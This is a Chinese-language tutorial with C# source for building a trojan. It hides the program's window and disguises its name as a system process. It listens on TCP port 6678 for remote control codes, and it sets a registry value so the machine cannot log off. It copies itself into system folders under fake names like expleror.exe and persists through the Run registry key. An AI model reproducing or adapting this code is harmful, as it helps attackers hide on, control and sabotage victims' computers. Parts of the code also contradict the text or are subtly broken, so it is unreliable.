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基于C#实现的木马程序实例详解
摘要:本文以C#为例讲解木马程序的实现过程。要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面就...

本文以C#为例讲解木马程序的实现过程。要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面就针对这三方面做介绍:

1、在C#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称,如svchost.exe等),将窗体属性"ShowInTaskbar"属性设为false,让它运行时不会在任务栏中显示,并将属性"Windowstate"属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent() { // // Form1 // //窗体显示的起点和大小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称 this.Name = "Form1"; //设置属性让它后台运行 this.ShowInTaskbar = false; this.Text = "Form1"; this.WindowState = System.Windows.Forms.FormWindowState.Minimized; }

2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数 { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 //加入你的侦听代码 //端口你可以自已设定,我使用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 listener = new TcpListener(port); //启动侦听 listener.Start(); //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() //reControlCode 是线程启动执行的函数,此函数根据接收的控制 //控制码选取合适的注册表修改函数 Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); }

reControlCode函数如下,完整代码见程序:

private void reControlCode() { //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 socket = listener.AcceptSocket(); //如果连接成功执行 while (socket.Connected) { //接收控制码 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //根据控制码执行不同的功能 //修改注册表加入编码 switch (ss) { case "jiance"://测试连接,返回测试信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修改注册表函数,自已定义,见下面分析 UnLogOff(); //返回控制消息 retMessage(); break; case "zx0100": //修改注册表函数 UnClose(); //返回控制消息 retMessage(); break; //重复的case功能与前面一样,略掉 default: break; }//case }//while } //private void reControlCode

3、C#中实现注册表的修改,使用了。NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer

下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff() { //得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 RegistryKey key1; try { //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true); //设置子键的键名,和值 key1.SetValue ("NoLogOff",1); //关闭打开的子键 key1.Close(); //警告字符串设定 mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; } catch{} //如果不存在自已建立 if(key1 ==null) { try { //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; } catch{} } }

4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的。NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1() { try { //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 //sourceFileName为要移动的文件名,destFileName为文件的新路径 File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe"); } catch {} //将新移的木马程序设为自启动。分析和前面一样 try { key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} if(key1 ==null) { try { RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run"); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} } } //moveCC1()

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